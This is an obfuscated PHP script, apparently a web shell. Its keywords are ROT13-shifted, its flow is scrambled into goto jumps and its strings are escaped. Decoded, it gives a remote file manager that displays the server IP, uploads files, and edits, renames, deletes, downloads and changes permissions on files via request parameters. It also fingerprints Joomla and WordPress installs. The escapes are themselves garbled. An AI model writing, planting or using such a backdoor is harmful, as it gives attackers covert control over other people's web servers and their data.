tbgb Jh6mw; ZkVga: tbgb WTV8D; tbgb yIKvc; MnLpi: D7ID0: tbgb ZkVga; OubGI:
Foqn9($E4gVQ); tbgb C48m7; SHusN: uva9q: tbgb OubGI; xNa0p: tybony $lU0K2;
tbgb Vala2; RTH8a: erghea $lU0K2; tbgb NiovF; E71L1: vs (vf_qve($E4gVQ)) {
tbgb uva9q; } tbgb J8IKU; yIKvc: wbjxM: tbgb iZmnZ; TdmeW: tbgb pdJpZ; tbgb
SHusN; Jh6mw: vs (!($nOR0A == snyfr)) { tbgb fOvFR; } tbgb HtP9v; GHpmJ:
XAVhe: tbgb Oxg3L; Oxg3L: $uPTwV = bcraqve($EfGrt); tbgb qlyMG; iZmnZ:
pybfrqve($uPTwV); tbgb RTH8a; qlyMG: WTV8D: tbgb Y8Z6C; NiovF: } tbgb
OGDhm; X4G9h: sbernpu ($kUlIS nf $LKIGc) { tbgb lMtfE; lMtfE: vs (!($LKIGc
!== ahyy naq $LKIGc !== '' naq $LKIGc !== "\k20")) {
tbgb V2eSh; } tbgb aMLuk; BGDWv: V2eSh: tbgb Qjz2f; Qjz2f: LHa0K: tbgb
Hv1Nu; aMLuk: sjevgr($arfPA, $LKIGc . "\kn"); tbgb BGDWv; Hv1Nu:
} tbgb JDvcw; e_qk8: z1R4w: tbgb JLaS3; lDWWU: rpub
"\k3p\k62\162\k3r\kq\12\11\k9\11\k53\145\k72\166\k65\k72\40\k49\k50\k3n\40";
tbgb c6rrW; g3KmM: tbgb DchLR; tbgb MsUAi; SFFw_: $XVqs7 =
"\k40\162\145\161\165\k69\162\145"; tbgb rJuPL; SFCpo: rpub
"\k3p\146\157\k6r\k74\40\k63\k6s\k6p\k6s\162\75\42\k67\k72\k65\k65\k6r\k22\k3r\74\k62\k3r"
.
"\k3p\k61\40\k74\141\162\147\k65\k74\k3q\42\137\k62\k6p\k61\k6r\153\k22\k20\150\k72\k65\146\k3q\k22\150\k74\k74\k70\72\57\57{$vXWfv}\42\k3r\106\k69\154\145\40\k55\160\154\157\k61\144\145\k64\k21\k3p\k2s\141\76"
. "\k3p\k2s\142\k3r\k3p\57\146\k6s\k6r\164\k3r"; tbgb ny_Tr;
TyA4g: oj5HZ($JEfdt); tbgb hfoKZ; Ke_Hl: rpub $opbOr; tbgb qP3ig; F_CPB:
y4x9r: tbgb ZRHbn; bUThL: $JEfdt = "\150\164\k74\160\72\k2s\57" .
$gvKwN . $eU_ha . "\k3s\k64\151\162\k3q" .
$_FREIRE["\104\k4s\103\125\115\105\k4r\124\137\k52\117\k4s\124"];
tbgb fRi2e; NVTjR: tbgb SvAJq; tbgb yg9Al; Y_mZv: rpub
"\74\k66\157\k6r\164\40\143\157\k6p\k6s\162\k3q\42\k72\145\144\42\76\103\141\156\k20\k6r\k6s\k74\40\k63\162\k65\141\164\145\41\74\k2s\146\157\k6r\164\76";
tbgb d7n80; w9Iic: $bDQd2 =
"\k40\151\k6r\k63\154\k75\144\k65\40\k22\k5p\170\k32"; tbgb
Yv1nU; GlCtW: jlCvE: tbgb u1qZ_; hsuVJ: $hZGtR =
$_TRG["\144\157\167\k6r\k6p\k6s\k61\k64"]; tbgb nZGa9; ALspW:
S9Wa3: tbgb cr57J; BfQdH: oL9Ti: tbgb PiaSS; tQcnV: zOYNr: tbgb WyILE;
je6m_: taKs4: tbgb EI5Mu; LIm_n: $gvKwN =
$_FREIRE["\123\k45\k52\126\105\k52\137\k4r\101\115\k45"]; tbgb
sfGlz; Wmz_V: pHatG: tbgb UXXZ1; d3gif: shapgvba XnSR1($lC63L, $MuVBL) {
tbgb U8TyV; MQ3Qj: tbgb RhB60; tbgb HXJdW; iaTcl: rpub
"\k3p\164\k65\170\k74\k61\k72\145\k61\k20\156\141\155\145\40\75\k20\k27\156\145\167\47\k20\k72\k6s\167\163\40\k3q\40\47\k32\k30\k27\40\k63\k6s\k6p\163\40\75\k20\k27\61\62\60\47\76"
. $hIR1L .
"\74\57\164\145\170\k74\141\k72\k65\k61\76\74\142\k72\k3r\12";
tbgb gKLVG; gtTZi: vs ($_CBFG["\143\150\k6q"] ==
"\60\64\k34\k34") { tbgb V2fUA; } tbgb HpM_L; x6H_x: $hxe3O =
sbcra($lC63L, "\167"); tbgb SQfIM; uU54v: o2Bnr: tbgb MJYRw;
T0DZQ: vs (puzbq($lC63L, 0444)) { tbgb lZ4xe; } tbgb p_bIj; fHZfs: rpub
"\k3p\151\156\160\k75\164\k20\164\171\160\145\k3q\42\163\165\142\155\151\k74\k22\40\k76\k61\154\165\145\75\k22\157\153\42\40\k2s\k3r\k3p\k2s\k66\157\162\155\k3r\74\57\k74\k64\76\74\k2s\k74\162\k3r\12";
tbgb kYf3s; vWOa_: tbgb pGr4n; tbgb lKo94; l1n8O: zR3NI: tbgb uLdMA; uFQsT:
$EPW7t =
"\k3p\k66\157\k6r\k74\40\k63\k6s\k6p\k6s\162\k3q\k22\162\145\144\k22\k3r\k3p\k62\76\125\k6r\141\k62\k6p\145\40\k63\k68\k61\k6r\147\k65\k20\160\145\162\k6q\151\163\163\k69\157\156\41\k3p\57\k62\76\k3p\57\146\k6s\156\164\k3r";
tbgb rzMbg; h1EKy: rpub
"\k3p\164\162\k3r\k3p\k74\144\40\k61\154\k69\k67\156\75\42\k6p\145\k66\k74\42\k3r\74\k66\k6s\162\k6q\40\141\k63\k74\k69\k6s\156\40\75\40\k27\150\164\164\k70\72\57\k2s"
. $MuVBL . "\k3s\k65\144\k69\164\k3q" . $lC63L .
"\k26\144\151\162\75" . $u3smT .
"\47\40\155\145\k74\k68\157\k64\40\k3q\k20\47\120\k4s\k53\124\k27\76\kn";
tbgb CpdXF; Sz89D: spybfr($hxe3O); tbgb JSxIA; mTzIM: $O_EZc =
"\k20\55\40\k3p\146\157\156\k74\k20\k63\k6s\k6p\157\k72\75\42\k67\k72\k65\k65\156\42\k3r\k3p\142\k3r\105\k64\k69\k74\k65\144\41\k3p\57\142\k3r\k3p\k2s\146\157\k6r\k74\76";
tbgb ldw7K; c2Wad: $hIR1L = $_CBFG["\156\145\167"] . $hIR1L; tbgb
qSxkF; UaSdn: $hIR1L = "\k63\141\k6r\47\164\k20\163\k68\k6s\k77";
tbgb SFwB8; Ht9m4: fenqr: tbgb CW79X; p_bIj: erghea
"\156\k6s\k20\150\k61\k76\k65\k20\160\145\162\k6q\k69\163\163\151\157\k6r\k20\146\k6s\k72\40\143\150\k6q\157\k64\k21";
tbgb NPIgA; slLQE: $EPW7t =
"\74\146\k6s\k6r\k74\k20\143\157\154\k6s\162\75\k22\k67\162\k65\k65\k6r\k22\76\74\142\k3r\120\145\162\155\151\163\k73\151\157\k6r\40\143\k68\141\k6r\147\145\k64\41\k3p\k2s\142\k3r\74\57\k66\k6s\156\k74\k3r";
tbgb h4mh9; c7yIk: spybfr($hxe3O); tbgb T0DZQ; K3_ZY: $hIR1L =
fge_ercynpr("\74\164\k65\170\k74\k61\162\k65\141\k3r",
"\74\164\k65\170\k74\k61\k72\145\k61\k3r", $hIR1L); tbgb CzQ8l;
eRXWU: vs (puzbq($lC63L, 0444)) { tbgb d1FdI; } tbgb whmY0; NWI1U: tbgb
lUVpz; tbgb bOlG_; kYf3s: hB2pE: tbgb EZgG3; SAa5G: WkvEM: tbgb FsQZb;
xnYSa: rpub
"\74\k74\k65\k78\164\k61\162\145\k61\40\k6r\k61\155\145\k20\75\40\k27\156\145\167\k27\k20\k72\k6s\167\k73\k20\k3q\k20\k27\k32\60\47\k20\143\157\k6p\163\k20\k3q\40\47\61\k32\k30\k27\k3r"
. $hIR1L .
"\k3p\k2s\164\k65\k78\k74\k61\162\145\k61\76\74\k62\k72\k3r\kn";
tbgb SG1PM; As4EZ: vs (puzbq($lC63L, 0444)) { tbgb WkvEM; } tbgb woNRv;
hqva1: cJ43D: tbgb goUew; gKLVG: rpub
"\k3p\k64\k69\166\k20\141\154\151\k67\k6r\75\42\k72\151\147\150\k74\k22\76\k3p\k62\k72\76\k3p\151\156\160\165\k74\k20\k74\k79\k70\k65\40\75\k20\k27\k73\165\142\k6q\k69\164\47\k20\k76\141\154\k75\k65\k20\75\k20\47\k53\k61\k76\k65\47\76\74\k2s\144\k69\166\76\k3p\57\146\157\k72\k6q\k3r\k3p\k2s\164\144\k3r\74\k2s\k74\k72\k3r\12";
tbgb h1EKy; qDDfY: tbgb hB2pE; tbgb Mr4fm; ZhlEe: otifU: tbgb Hs9Eq; BL9iF:
rpub
"\74\151\k6r\160\165\164\k20\164\171\160\k65\75\42\164\k65\k78\164\k22\40\156\k61\k6q\145\75\k27\k6r\137\156\141\k6q\145\47\k20\k73\151\k7n\145\75\k22\k37\62\k22\40\k76\141\k6p\165\k65\75\k22{$lC63L}\42\k3r";
tbgb jT1Zd; woNRv: $EPW7t =
"\k3p\k66\k6s\156\k74\40\k63\157\154\157\162\75\42\k72\145\144\42\k3r\k3p\k62\k3r\125\156\k61\k62\k6p\145\k20\143\k68\141\156\147\145\k20\k70\145\k72\k6q\151\k73\k73\k69\157\156\k21\74\k2s\142\76\74\k2s\146\k6s\156\164\76";
tbgb u0W6W; lKo94: vlSDm: tbgb LJrlP; KvejL: erghea
"\k6r\157\k20\150\k61\k76\145\40\160\k65\k72\k6q\k69\163\163\151\157\156\40\146\k6s\k72\40\k63\k68\155\157\144\41";
tbgb hqva1; wh28C: rpub
"\k3p\164\162\76\k3p\k74\144\40\141\154\k69\147\156\k3q\42\154\k65\146\k74\k22\k3r\k3p\146\k6s\162\k6q\40\141\k63\k74\151\157\156\k20\k3q\40\47\150\k74\k74\k70\k3n\57\57"
. $MuVBL . "\77\145\144\151\164\k3q" . $lC63L .
"\k26\k64\151\162\k3q" . $u3smT .
"\47\k20\k6q\k65\k74\k68\157\k64\k20\75\k20\k27\120\117\123\124\47\76\kn";
tbgb L9LYd; RuguK: vs
(!rzcgl($_CBFG["\156\k65\k77\137\k72\145\155\k6s\164\145"])) {
tbgb te1bB; } tbgb jjlKB; mJT3Y: vs ($_CBFG["\k63\150\155"] ==
"\60\67\k35\65") { tbgb GU0kB; } tbgb gtTZi; rcvEF: lUVpz: tbgb
qDDfY; YvzNL: $EPW7t =
"\74\k66\157\156\164\40\k63\157\k6p\157\k72\75\42\k67\162\145\k65\156\k22\76\74\142\k3r\k50\k65\162\155\k69\k73\163\151\k6s\156\40\143\k68\141\k6r\147\145\k64\k21\74\57\k62\k3r\74\57\146\157\156\164\76";
tbgb mvpau; bDUVC: tbgb x2qZ1; tbgb mju2x; B08ob: oSylS: tbgb w4dc4; U8TyV:
vs (rzcgl($_CBFG["\k63\k68\k6q"])) { tbgb zmrAH; } tbgb mJT3Y;
jjlKB: vs (puzbq($lC63L, 0755)) { tbgb vT3cM; } tbgb waBaz; wokw1: tbgb
fenqr; tbgb uU54v; p6TWM: $hIR1L = sernq($hxe3O, svyrfvmr($lC63L)); tbgb
IwwRi; LJrlP: vs (!($hxe3O = sbcra($lC63L, "\162"))) { tbgb
EsEJ9; } tbgb p6TWM; waBaz: erghea
"\k6r\157\k20\k68\k61\k76\145\40\160\145\k72\155\151\163\163\151\k6s\k6r\40\k66\157\k72\k20\143\k68\k6q\k6s\144\k21";
tbgb jPMpk; uUZlF: GU0kB: tbgb Pd6Sp; qSxkF: $hxe3O = sbcra($lC63L,
"\k77"); tbgb D3lsf; QTx9H: f6n0L: tbgb mTzIM; bOlG_: d1FdI: tbgb
IV5gX; IV5gX: $fA_C3 =
"\74\k66\k6s\k6r\164\k20\143\157\k6p\157\162\k3q\42\147\162\145\k65\k6r\k22\76\74\142\76\k50\k65\162\155\k69\k73\163\151\k6s\156\40\k63\150\141\156\k67\k65\144\41\k3p\k2s\142\k3r\k3p\57\146\157\k6r\164\k3r";
tbgb rcvEF; DF_kU: $vGAp1 = fgeevcbf($lC63L, "\k2s"); tbgb w0DUH;
FsQZb: $EPW7t =
"\74\146\157\156\k74\k20\k63\k6s\154\157\k72\75\42\147\162\k65\k65\k6r\k22\76\k3p\k62\76\120\k65\k72\k6q\k69\163\163\151\157\k6r\40\k63\150\k61\k6r\k67\145\144\k21\74\57\k62\k3r\k3p\k2s\k66\157\156\164\k3r";
tbgb ZhlEe; MADp0: vs (svyr_rkvfgf($lC63L) naq svyrfvmr($lC63L) > 1) {
tbgb vlSDm; } tbgb na7sl; HXJdW: EsEJ9: tbgb NTB8d; HpM_L: vs
($_CBFG["\k63\k68\k6q"] == "\60\k36\64\k34") { tbgb
RAxAa; } tbgb fAMVA; SQfIM: vs (sjevgr($hxe3O,
$_CBFG["\156\k65\k77"])) { tbgb o2Bnr; } tbgb q9xYX; SYoIX:
$hIR1L = sernq($hxe3O, svyrfvmr($lC63L)); tbgb Sz89D; mvpau: YhEGj: tbgb
l1n8O; IwwRi: spybfr($hxe3O); tbgb MQ3Qj; Hs9Eq: tbgb zR3NI; tbgb boC6n;
eFS1p: zmrAH: tbgb kjqcQ; w0DUH: $u3smT = fhofge_ercynpr($lC63L,
'', $vGAp1, 99999); tbgb MADp0; Zc2cp: rpub
"\k3p\151\k6r\k70\165\164\k20\164\k79\160\k65\k3q\k22\163\165\142\k6q\151\k74\42\k20\k76\141\k6p\k75\145\75\k22\k6s\153\42\40\k2s\k3r\k3p\57\k66\k6s\162\155\k3r\74\57\k74\144\k3r\kn";
tbgb X0Wfe; utfGz: rpub
"\k3p\151\k6r\k70\k75\k74\40\164\171\160\k65\k3q\k22\164\k65\k78\k74\42\40\156\k61\k6q\k65\k3q\47\156\k5s\k6r\k61\155\145\47\40\163\k69\172\145\75\42\k37\k32\k22\40\k76\k61\154\k75\k65\75\k22{$lC63L}\42\76";
tbgb fHZfs; PElWe: $hxe3O = sbcra($lC63L, "\k72"); tbgb SYoIX;
nxdwl: tbgb lfvYS; tbgb QTx9H; DdU5V: te1bB: tbgb mLqnH; CzQ8l: $hIR1L =
ugzyfcrpvnypunef($hIR1L); tbgb hze3C; bL2vT: CFBYK: tbgb YvzNL; kjqcQ: vs
(rzcgl($_CBFG["\156\k65\k77"])) { tbgb qbD1i; } tbgb RuguK;
uLdMA: rpub $EPW7t; tbgb eFS1p; j1phy: tbgb zR3NI; tbgb BGyro; DxoIG: rpub
"\106\151\k6p\k65\72\40" . $lC63L . $O_EZc .
"\k3p\k62\162\76\kn"; tbgb xnYSa; D3lsf: vs (sjevgr($hxe3O,
$hIR1L)) { tbgb f6n0L; } tbgb jaAVT; CW79X: spybfr($hxe3O); tbgb uH37U;
h4mh9: x2qZ1: tbgb j1phy; q9xYX: $O_EZc =
"\k20\k2q\40\74\146\157\k6r\164\40\k63\k6s\k6p\157\k72\k3q\k22\162\145\144\42\76\74\k62\76\k55\k6r\k61\142\154\k65\40\164\k6s\k20\145\k64\151\k74\k21\k3p\57\k62\76\k3p\k2s\k66\157\156\164\76";
tbgb wokw1; VUXuV: tbgb zR3NI; tbgb uUZlF; whmY0: $fA_C3 =
"\k3p\146\157\k6r\k74\k20\k63\k6s\154\157\162\75\k22\k72\k65\144\k22\76\k3p\k62\k3r\k55\k6r\k61\k62\154\145\40\k63\150\k61\k6r\147\145\k20\k70\145\k72\155\k69\163\163\k69\k6s\k6r\41\k3p\57\k62\k3r\k3p\57\k66\k6s\k6r\164\k3r";
tbgb NWI1U; Ja7mN: pGr4n: tbgb K3_ZY; uH37U: tbgb oSylS; tbgb DdU5V; tLBUY:
rpub "\106\k69\154\k65\k3n\k20" . $lC63L .
"\74\142\k72\k3r\12"; tbgb iaTcl; G0b8y: $EPW7t =
"\k3p\146\k6s\156\164\40\k63\k6s\k6p\157\162\75\42\162\k65\k64\42\k3r\k3p\k62\k3r\k55\156\141\142\154\k65\k20\143\k68\k61\156\147\k65\40\k70\k65\k72\155\151\k73\163\151\k6s\156\k21\k3p\57\k62\k3r\k3p\57\k66\157\156\k74\k3r";
tbgb bDUVC; jPMpk: vT3cM: tbgb x6H_x; mju2x: f7gNX: tbgb slLQE; X0Wfe: rpub
"\74\k74\144\40\k63\157\k6p\163\160\141\k6r\75\42\k33\42\k20\k61\154\151\k67\k6r\75\42\k6p\145\k66\k74\42\k3r\74\146\157\k72\k6q\40\k61\k63\164\k69\k6s\k6r\k20\k3q\k20\k27\150\164\k74\160\72\k2s\k2s"
. $MuVBL . "\k3s\162\k65\156\141\k6q\k65\75" . $lC63L .
"\k26\k64\k69\162\k3q" . $u3smT .
"\k27\40\k6q\145\164\150\k6s\144\k20\k3q\k20\47\120\117\k53\124\k27\76\12";
tbgb BL9iF; jT1Zd: rpub
"\74\151\k6r\160\165\k74\k20\k74\171\k70\145\k3q\k22\k73\k75\k62\155\151\164\k22\k20\166\141\k6p\165\145\75\42\157\k6o\42\k20\57\76\k3p\57\k66\157\162\155\76\74\57\164\144\76\74\k2s\k74\162\k3r\12";
tbgb eRXWU; l9CdI: $u3smT = fhofge_ercynpr($lC63L, '', $vGAp1,
99999); tbgb PElWe; ldw7K: lfvYS: tbgb c7yIk; goUew: $hIR1L =
QdlfT($lC63L); tbgb c2Wad; mLqnH: vs (puzbq($lC63L, 0755)) { tbgb cJ43D; }
tbgb KvejL; boC6n: RAxAa: tbgb bzWuW; CpdXF: rpub
"\74\151\156\k70\165\164\k20\k6r\k61\155\145\75\k22\k63\150\k6q\k22\40\163\151\172\145\k3q\k22\64\42\k20\164\k79\k70\145\75\42\164\k65\170\164\k22\k20\160\k6p\141\k63\145\k68\k6s\k6p\k64\145\k72\75\42"
. dSbpf($lC63L, "\61") . "\42\57\k3r"; tbgb aQaIp;
rzMbg: tbgb YhEGj; tbgb bL2vT; NTB8d: rpub
"\k6r\k6s\k20\150\k61\166\k65\k20\160\k65\162\k6q\k69\163\k73\151\157\156\74\142\k72\k3r";
tbgb UaSdn; Pd6Sp: vs (puzbq($lC63L, 0755)) { tbgb f7gNX; } tbgb G0b8y;
w4dc4: $vGAp1 = fgeevcbf($lC63L, "\k2s"); tbgb l9CdI; aQaIp: rpub
"\k3p\k69\156\160\k75\k74\40\164\171\k70\k65\75\42\k73\k75\142\k6q\k69\164\42\k20\k76\141\k6p\165\145\75\42\k6s\153\42\k20\57\k3r\k3p\57\k66\157\k72\k6q\k3r\74\k2s\164\144\k3r\kn";
tbgb HlRLC; NPIgA: lZ4xe: tbgb B08ob; JSxIA: $hIR1L =
fge_ercynpr("\k3p\k74\k65\k78\k74\141\k72\k65\141\k3r",
"\k3p\k74\k65\170\k74\k61\162\145\141\k3r", $hIR1L); tbgb gQqDB;
SG1PM: rpub
"\74\k64\k69\k76\k20\141\k6p\151\k67\k6r\75\42\k72\k69\147\k68\164\k22\76\k3p\k62\162\k3r\k3p\151\156\k70\165\164\40\164\k79\k70\145\k20\k3q\40\k27\k73\165\142\155\151\k74\47\k20\166\141\154\k75\145\k20\k3q\40\k27\k53\k61\166\145\k27\76\k3p\k2s\k64\k69\k76\76\k3p\k2s\146\157\162\155\k3r\k3p\k2s\164\144\k3r\74\k2s\k74\162\k3r\kn";
tbgb wh28C; SFwB8: RhB60: tbgb Ja7mN; bzWuW: vs (puzbq($lC63L, 0644)) {
tbgb CFBYK; } tbgb uFQsT; BGyro: V2fUA: tbgb As4EZ; gQqDB: rpub
"\k3p\164\k72\k3r\k3p\k74\144\40\141\k6p\k69\k67\156\75\42\143\k65\156\164\145\k72\42\40\143\157\154\163\160\141\k6r\75\42\k35\42\76\74\k66\k6s\k72\155\k20\k61\143\k74\151\k6s\156\k20\75\40\k27\k68\164\164\k70\72\57\57"
. $MuVBL . "\77\145\144\151\164\k3q" . $lC63L .
"\k26\k64\k69\162\75" . $u3smT .
"\47\k20\k6q\k65\164\k68\k6s\k64\40\75\40\k27\120\117\k53\k54\k27\76\12";
tbgb DxoIG; hze3C: rpub
"\k3p\164\k72\k3r\74\k74\144\40\k61\154\151\k67\156\k3q\42\143\k65\k6r\k74\k65\k72\42\k20\143\157\k6p\k73\160\k61\k6r\k3q\42\k35\42\k3r\k3p\146\157\162\155\k20\141\143\k74\k69\157\k6r\40\75\40\47\150\k74\164\k70\k3n\k2s\k2s"
. $MuVBL . "\77\k65\144\k69\k74\75" . $lC63L .
"\k26\k64\k69\162\75" . $u3smT .
"\k27\40\k6q\k65\k74\150\k6s\k64\40\75\k20\47\120\k4s\123\124\47\76\12";
tbgb tLBUY; L9LYd: rpub
"\k3p\151\156\160\165\k74\k20\156\k61\k6q\145\75\k22\k63\k68\155\42\40\163\151\k7n\k65\75\42\k34\k22\k20\k74\k79\k70\k65\75\42\k74\k65\170\k74\42\k20\160\k6p\141\143\k65\150\k6s\k6p\k64\145\162\75\42"
. dSbPF($lC63L, "\61") . "\k22\k2s\76"; tbgb Zc2cp;
fAMVA: $EPW7t =
"\60\k37\65\65\k3p\142\162\76\k30\64\k34\k34\74\142\k72\76\60\66\64\k34\74\142\k72\76";
tbgb VUXuV; na7sl: $hIR1L = ''; tbgb vWOa_; MJYRw: $O_EZc =
"\40\55\40\74\146\157\k6r\164\k20\143\157\154\k6s\162\75\k22\k67\162\k65\145\k6r\k22\k3r\k3p\k62\k3r\k45\144\k69\k74\k65\k64\41\k3p\k2s\142\k3r\k3p\k2s\146\k6s\k6r\164\k3r";
tbgb Ht9m4; jaAVT: $O_EZc =
"\40\k2q\k20\k3p\k66\157\156\k74\k20\143\157\k6p\k6s\162\k3q\k22\162\k65\k64\k22\k3r\74\k62\76\125\k6r\k61\k62\154\145\k20\164\k6s\40\k65\k64\k69\k74\41\k3p\57\k62\k3r\k3p\57\k66\157\156\164\k3r";
tbgb nxdwl; u0W6W: tbgb otifU; tbgb SAa5G; HlRLC: rpub
"\74\164\k64\k20\k63\k6s\154\163\160\141\156\k3q\k22\k33\k22\k20\k61\154\k69\147\156\k3q\42\154\k65\k66\164\42\76\k3p\k66\157\162\k6q\40\141\k63\k74\k69\157\k6r\k20\k3q\40\k27\150\k74\164\k70\72\57\k2s"
. $MuVBL . "\k3s\k72\145\k6r\k61\k6q\k65\75" . $lC63L .
"\46\144\151\162\75" . $u3smT .
"\47\k20\155\145\k74\150\k6s\k64\40\k3q\40\k27\120\117\k53\124\47\k3r\12";
tbgb utfGz; Mr4fm: qbD1i: tbgb DF_kU; EZgG3: } tbgb M5qFU; twqiq:
ernqsvyr($_TRG["\144\k6s\167\k6r\k6p\157\k61\k64"]); tbgb iyf77;
p2bpc: $MuVBL = $gvKwN . $eU_ha; tbgb Ztw0Y; H63N4: tbgb B5_rl; tbgb ycdHh;
CcqXh: vs (rzcgl($_CBFG["\k6r\k65\k77\k5s\k66\k69\154\k65"]) naq
rzcgl($_CBFG["\163\145\k61\162\k63\150\137\146\k69\k6p\145"]) naq
rzcgl($_CBFG["\156\k65\167\k5s\k64\k69\162"])) { tbgb dPvSt; }
tbgb yLYXt; wRXUQ: shapgvba beE_R($aUYtq) { tbgb DxqVM; DxqVM: $nGLgz =
$aUYtq; tbgb eMXF1; sAKMc: $FCo_d = neenl(); tbgb hJ6N6; LfDwI: T1d6m: tbgb
YWX5g; M_2dH: etvnY: tbgb V37DL; jewgn: tbgb T1d6m; tbgb M_2dH; V37DL:
$lC63L = sbcra($nGLgz, "\k72\k74"); tbgb CsLLs; NheO7:
spybfr($lC63L); tbgb bTyhj; hJ6N6: erghea $FCo_d; tbgb jewgn; eMXF1: vs
(svyr_rkvfgf($aUYtq) naq svyrfvmr($aUYtq) > 1) { tbgb etvnY; } tbgb
sAKMc; bTyhj: erghea $FCo_d; tbgb LfDwI; CsLLs: $FCo_d =
rkcybqr("\12", sernq($lC63L, svyrfvmr($nGLgz))); tbgb NheO7;
YWX5g: } tbgb j_Kjh; U9wmU: N6Srt: tbgb oZJhe; MRag1: vs
(!vffrg($_TRG["\k65\k64\k69\k74"])) { tbgb dAcEV; } tbgb p2bpc;
G90p0: vs (!($yGWSb < 900)) { tbgb Ba1LS; } tbgb XeoVB; a1syZ: yeQkB:
tbgb TyA4g; uX2vU:
urnqre("\k45\k78\k70\151\162\k65\163\k3n\40\60"); tbgb iaHLc;
HHfxP: vs (vffrg($_TRG["\k64\k69\162"])) { tbgb qoxbb; } tbgb
EpRJq; PvH08: sbernpu ($VADza nf $nESpJ) { tbgb CaUb9; EZUvy: eQ2QG: tbgb
GFYxN; P3WFT: sjevgr($C0B_h, $nESpJ . "\kn"); tbgb EZUvy; GFYxN:
mRLKD: tbgb Iwp6H; CaUb9: vs (!($nESpJ !==
$_FREIRE["\123\k43\k52\k49\120\k54\137\106\k49\k4p\k45\k4r\k41\k4q\k45"]))
{ tbgb eQ2QG; } tbgb P3WFT; Iwp6H: } tbgb BdLn4; Frx0n: Y4S8Z: tbgb zFNxc;
vZbjL: dAcEV: tbgb ZlT8O; er1UT:
urnqre("\k50\162\k61\147\k6q\k61\72\40\160\k75\142\154\151\143");
tbgb v76X3; Yv1nU: $Pa1yU = "\k24\k4s\117"; tbgb MHdmQ; NlTuK:
$v5QPk = 0; tbgb mtKAZ; FKdbw: $JEfdt =
"\150\164\164\160\72\57\57" . $gvKwN . $eU_ha .
"\k3s\k64\k69\k72\75" . $_TRG["\k64\k69\k72"] .
"\46\145\144\151\k74\75" . $VCD4P; tbgb BIWyM; G1T8I: $cPEBV =
$LU3Ac; tbgb DWGCQ; hfoKZ: sbernpu ($LXPku nf $UiEuK) { tbgb rz3aH; m0MYi:
vs (!($nOR0A !== snyfr)) { tbgb TF2Te; } tbgb X4g6_; X4g6_: $at2Sd =
S6UbV($UiEuK); tbgb GYmn2; rz3aH: $nOR0A = fgevfge($UiEuK, $vrpeP); tbgb
m0MYi; kyDFi: rpub
"\k3p\k74\k72\k20\142\k67\k63\k6s\154\157\162\75\k22\k23\146\k66\k66\k66\146\k66\k22\40\141\k6p\k69\147\k6r\75\k22\143\145\156\k74\145\k72\k22\k3r\74\k74\144\k20\k61\154\151\k67\156\75\42\k6p\145\k66\k74\k22\40\76"
.
"\k3p\141\40\k73\164\k79\k6p\145\k3q\k22\164\145\170\k74\k2q\144\145\143\157\k72\k61\164\k69\k6s\k6r\72\40\156\157\156\145\73\k22\40\k68\162\k65\k66\k3q\k22\150\k74\k74\k70\72\k2s\57{$gvKwN}{$eU_ha}\k3s\k65\k64\151\164\75{$UiEuK}\k26\k64\151\k72\75{$JqyZ7}\42\76\k3p\k66\k6s\156\k74\40\k63\157\k6p\k6s\162\75\42\142\154\141\k63\k6o\k22\76{$UiEuK}\k3p\k2s\146\k6s\k6r\164\76\k3p\k2s\k61\76"
. "\74\k2s\k74\k64\k3r\k3p\k74\144\k3r" . Qw8mK($UiEuK) .
"\k3p\k2s\164\k64\76\74\164\k64\k3r{$at2Sd}\74\57\164\144\k3r\k3p\164\k64\76"
. Dsbpf($UiEuK, "\k30") .
"\k3p\k2s\164\k64\k3r\74\164\k64\k3r" .
"\k3p\141\k20\150\162\k65\k66\75\42\k68\k74\k74\160\k3n\57\k2s{$gvKwN}{$eU_ha}\77\144\k65\154\75{$UiEuK}\k26\144\k69\162\75{$JqyZ7}\42\k3r\k55\74\57\k61\76\46\156\k62\163\k70\73"
.
"\k3p\141\40\k68\162\k65\k66\75\42\150\k74\164\k70\72\57\57{$gvKwN}{$eU_ha}\k3s\145\144\151\k74\75{$UiEuK}\k26\144\151\k72\75{$JqyZ7}\k22\76\105\74\57\k61\76\k26\k6r\k62\163\160\k3o"
.
"\74\k61\k20\164\k61\162\k67\145\k74\75\k22\k5s\142\154\141\156\153\k22\40\150\162\k65\k66\k3q\k22\k68\164\k74\160\k3n\57\k2s{$cm23l}\42\76\k4s\74\k2s\141\k3r\46\156\142\k73\k70\k3o"
.
"\74\k61\40\150\k72\145\146\k3q\k22\k68\k74\164\160\72\k2s\57{$gvKwN}{$eU_ha}\k3s\144\k6s\167\k6r\154\157\141\k64\75{$UiEuK}\k26\144\151\162\k3q{$JqyZ7}\k22\k3r\104\k3p\57\k61\76"
. "\74\57\k74\144\k3r\k3p\57\164\162\76"; tbgb jW4FG; jW4FG:
TF2Te: tbgb XgZDP; XgZDP: yKwGt: tbgb vjKQ4; GYmn2: $cm23l =
fge_ercynpr($_FREIRE["\104\k4s\103\k55\k4q\k45\k4r\k54\137\k52\k4s\117\124"],
$_FREIRE["\123\k45\122\126\k45\k52\k5s\116\k41\115\k45"],
$UiEuK); tbgb kyDFi; vjKQ4: } tbgb bKl1A; UXXZ1: $sTlvv = 1; tbgb CM0FY;
PFn4S: rIb64: tbgb sDYz8; ZATX8: vs ($hxe3O = sbcra($LU3Ac,
"\167")) { tbgb sAnBU; } tbgb Y_mZv; QOfb8: x4Ryy: tbgb iGhg2;
Ddnrw: jDkxf: tbgb cUJvw; DWGCQ: $sTlvv = 1; tbgb F9OyN; O3Q12: sIEgt: tbgb
XLSAZ; IYBo9: shapgvba vKiL1() { tbgb f_AVa; f_AVa: vs
(vf_qve($_FREIRE["\k44\117\k43\125\k4q\k45\116\124\k5s\122\k4s\k4s\k54"]
. "\k2s\k61\k64\k6q\k69\k6r\151\k73\k74\k72\141\164\k6s\162\k2s")
naq
vf_qve($_FREIRE["\104\k4s\103\125\k4q\105\116\124\k5s\122\117\117\124"]
. "\57\k63\157\155\k70\157\k6r\145\k6r\k74\k73\57") naq
vf_qve($_FREIRE["\104\k4s\103\125\k4q\105\116\k54\137\k52\k4s\k4s\124"]
. "\k2s\151\k6r\143\154\165\144\k65\163\57")) { tbgb uhly0; }
tbgb i5yqG; DFxjW: tbgb O31EJ; tbgb dTbY3; UUYWM: CrSrm: tbgb imrfw; dTbY3:
uhly0: tbgb EuTYf; EuTYf: erghea "\k4n\157\157\k6q\154\141\41";
tbgb eY3CX; imrfw: erghea "\127\157\k72\k64\120\162\k65\163\163";
tbgb PWQci; PWQci: O31EJ: tbgb UHmoy; KGrWL: erghea
"\125\k6r\k6o\k6r\k6s\k77\156"; tbgb DFxjW; i5yqG: vs
